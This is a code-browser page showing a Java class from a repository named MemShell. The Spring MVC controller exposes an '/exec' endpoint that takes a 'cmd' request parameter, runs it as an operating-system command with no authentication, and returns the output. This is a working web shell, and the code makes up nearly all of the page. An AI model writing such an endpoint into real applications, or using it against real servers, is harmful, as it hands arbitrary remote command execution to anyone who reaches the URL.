MCPcopy Create free account
hub / github.com/ax1sX/MemShell / TestController

Class TestController

SpringMVCMemShell/src/main/java/TestController.java:10–38  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

8import java.io.InputStreamReader;
9
10@Controller
11public class TestController {
12 @RequestMapping({"/exec"})
13 public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
14 String cmd = request.getParameter("cmd");
15
16 try {
17 String result = this.CommandExec(cmd);
18 response.getWriter().println(result);
19 } catch (Exception var7) {
20 }
21 }
22
23 public String CommandExec(String cmd) throws Exception {
24 Runtime rt = Runtime.getRuntime();
25 Process proc = rt.exec(cmd);
26 InputStream stderr = proc.getInputStream();
27 InputStreamReader isr = new InputStreamReader(stderr);
28 BufferedReader br = new BufferedReader(isr);
29 String line = null;
30 StringBuffer sb = new StringBuffer();
31
32 while((line = br.readLine()) != null) {
33 sb.append(line + "\n");
34 }
35
36 return sb.toString();
37 }
38}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected